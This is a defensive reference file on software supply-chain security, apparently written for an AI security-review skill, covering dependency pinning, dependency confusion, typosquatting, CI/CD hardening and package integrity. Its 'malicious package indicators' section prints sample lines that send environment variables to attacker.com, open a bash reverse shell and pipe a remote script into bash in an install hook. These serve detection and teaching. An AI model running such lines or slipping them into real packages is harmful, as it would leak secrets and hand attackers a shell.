claude-skills/security-review/references/supply-chain.md

Supply Chain Security Reference

Overview

Supply chain vulnerabilities occur when attackers compromise dependencies, build systems, or distribution mechanisms. This includes vulnerable dependencies, dependency confusion attacks, compromised build pipelines, and malicious packages.

---

Vulnerable Dependencies

Detection Patterns

# Check for known vulnerabilities
npm audit
pip-audit
cargo audit
bundle audit
safety check

# Check for outdated packages
npm outdated
pip list --outdated

Lock Files

# VULNERABLE: No lock file - versions float
# requirements.txt
requests>=2.0

# SAFE: Pinned versions with lock file
# requirements.txt
requests==2.28.1

# Or using pip-tools
# requirements.in -> requirements.txt (generated, pinned)

Patterns to Flag

// VULNERABLE: No lock file committed
// Missing: package-lock.json, yarn.lock, Pipfile.lock, Cargo.lock, go.sum

// VULNERABLE: Lock file in .gitignore
// .gitignore
package-lock.json
yarn.lock

// VULNERABLE: Version ranges that could change
// package.json
{
  "dependencies": {
    "lodash": "^4.0.0",    // Could get 4.999.0
    "express": "*",         // Any version
    "axios": "latest"       // Always latest
  }
}

---

Dependency Confusion

Attack Vector

Attackers publish malicious packages with the same name as internal packages to public registries. When build systems check public registries first, they may install the malicious version.

Vulnerable Configurations

# VULNERABLE: pip checks PyPI before internal registry
# pip.conf with both sources but no priority
[global]
index-url = https://pypi.org/simple
extra-index-url = https://internal.company.com/pypi

# VULNERABLE: npm checks public registry
# .npmrc
registry=https://registry.npmjs.org
@company:registry=https://npm.company.com
# Public package "company-utils" could shadow internal one

Mitigations

# SAFE: Internal registry only for scoped packages
# .npmrc
@company:registry=https://npm.company.com
//npm.company.com/:_authToken=${NPM_TOKEN}

# SAFE: pip with explicit index for each package
# requirements.txt with --index-url per package
--index-url https://internal.company.com/pypi
internal-package==1.0.0
--index-url https://pypi.org/simple
requests==2.28.1

// SAFE: npm package name claiming (publish placeholder to public)
// Publish empty package to npmjs.org with same name as internal packages
{
  "name": "internal-company-package",
  "version": "0.0.0",
  "description": "This package name is reserved"
}

---

Typosquatting

Detection

# VULNERABLE: Misspelled package names
# requirements.txt
reqeusts==2.28.0    # Typo of 'requests'
djando==4.0.0       # Typo of 'django'
python-nmap         # Could be confused with nmap

# package.json
"lodahs": "4.0.0"   # Typo of 'lodash'
"electorn": "1.0.0" # Typo of 'electron'

Common Typosquatting Patterns

• Character omission: requests → reqests
• Character swap: django → djagno
• Character doubling: numpy → numppy
• Homoglyphs: requests → rеquests (Cyrillic е)
• Adding suffixes: requests-dev, requests-py

---

Build Pipeline Security

Insecure CI/CD Patterns

# VULNERABLE: Secrets in plain text
# .github/workflows/build.yml
env:
  AWS_SECRET_KEY: AKIAIOSFODNN7EXAMPLE

# VULNERABLE: Running arbitrary code from PRs
on:
  pull_request_target:
    types: [opened]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Runs untrusted code
      - run: npm install && npm test

# VULNERABLE: Using unpinned actions
steps:
  - uses: actions/checkout@main  # Could change maliciously
  - uses: some-action@latest

Secure CI/CD Configuration

# SAFE: Pinned action versions with hash
steps:
  - uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab  # v3.5.2

# SAFE: Secrets from secure storage
env:
  AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}

# SAFE: Separate workflow for untrusted PRs
on:
  pull_request:  # Not pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read  # Minimal permissions

---

Package Integrity

Verify Checksums

# SAFE: Verify package checksums
pip install --require-hashes -r requirements.txt

# requirements.txt with hashes
requests==2.28.1 \
    --hash=sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983

# npm with integrity
npm ci  # Uses package-lock.json with integrity hashes

Signature Verification

# Verify GPG signatures
gpg --verify package.tar.gz.sig package.tar.gz

# Go module checksums
# go.sum contains cryptographic checksums
go mod verify

---

Malicious Package Indicators

Suspicious Patterns in Packages

# RED FLAGS in package code:

# Network calls during install
# setup.py
import requests
requests.post('https://attacker.com/data', data=os.environ)

# Obfuscated code
exec(base64.b64decode('aW1wb3J0IG9z...'))
eval(compile(base64.b64decode(code), '<string>', 'exec'))

# Environment variable exfiltration
os.environ.get('AWS_SECRET_ACCESS_KEY')
subprocess.run(['env'])

# Reverse shells
socket.socket().connect(('attacker.com', 4444))
os.system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')

# Cryptocurrency miners
import hashlib
while True:
    hashlib.sha256(data).hexdigest()

Pre/Post Install Scripts

// package.json - check these scripts carefully
{
  "scripts": {
    "preinstall": "curl https://attacker.com/script.sh | bash",  // DANGEROUS
    "postinstall": "node ./malicious.js",  // CHECK THIS
    "prepare": "..."
  }
}

# setup.py - check for code execution during install
from setuptools import setup
from setuptools.command.install import install

class PostInstall(install):
    def run(self):
        install.run(self)
        # CHECK WHAT RUNS HERE
        os.system('whoami')  # DANGEROUS

setup(
    cmdclass={'install': PostInstall}
)

---

Private Registry Security

Misconfiguration

# VULNERABLE: Registry credentials in code
# .npmrc committed to repo
//registry.npmjs.org/:_authToken=npm_XXXX

# VULNERABLE: Unauthenticated internal registry
registry=http://internal-npm.company.com  # No auth, HTTP

# VULNERABLE: Pull from any registry
pip install package  # Will check PyPI even for internal names

Secure Configuration

# SAFE: Credentials from environment
# .npmrc
//registry.npmjs.org/:_authToken=${NPM_TOKEN}

# SAFE: Scoped to specific registries
@company:registry=https://npm.company.com
//npm.company.com/:_authToken=${INTERNAL_NPM_TOKEN}

# SAFE: Internal registry only mode for sensitive builds
# pip.conf
[global]
index-url = https://internal.company.com/pypi
# No extra-index-url to public registries

---

Vendoring Dependencies

When to Vendor

# Consider vendoring for:
# - Critical security applications
# - Air-gapped environments
# - Reproducible builds

# Go vendoring
go mod vendor
# Commit vendor/ directory

# Python vendoring
pip download -r requirements.txt -d ./vendor/
# Install from local: pip install --no-index --find-links=./vendor/ -r requirements.txt

---

SBOM (Software Bill of Materials)

Generation

# Generate SBOM for vulnerability tracking
# CycloneDX format
cyclonedx-py --format json -o sbom.json

# SPDX format
syft . -o spdx-json > sbom.spdx.json

# npm
npm sbom --sbom-format cyclonedx

---

Grep Patterns for Detection

# Unpinned dependencies
grep -rn "\*\|latest\|>=\|~\|^" package.json requirements.txt

# Missing lock files
ls package-lock.json yarn.lock Pipfile.lock Cargo.lock go.sum 2>/dev/null

# Credentials in config
grep -rn "_authToken\|registry.*token\|password" .npmrc .pypirc pip.conf

# Suspicious install scripts
grep -rn "preinstall\|postinstall\|prepare" package.json

# Obfuscated code in dependencies
grep -rn "eval(.*base64\|exec(.*decode\|compile(.*decode" node_modules/ site-packages/

# Network calls in setup.py
grep -rn "requests\|urllib\|socket" setup.py

# Unpinned GitHub Actions
grep -rn "uses:.*@main\|uses:.*@master\|uses:.*@latest" .github/workflows/

---

Testing Checklist

• All dependencies pinned to exact versions
• Lock files committed and not in .gitignore
• Dependencies scanned for known vulnerabilities
• Internal packages use scoped names or claimed on public registries
• CI/CD actions pinned to commit hashes
• Secrets not hardcoded in CI/CD configs
• Package integrity verified (checksums/signatures)
• Pre/post install scripts reviewed
• Private registry credentials not in code
• SBOM generated for production dependencies

---

References

• OWASP Dependency Check
• SLSA Framework
• CWE-1104: Use of Unmaintained Third Party Components
• Dependency Confusion Attack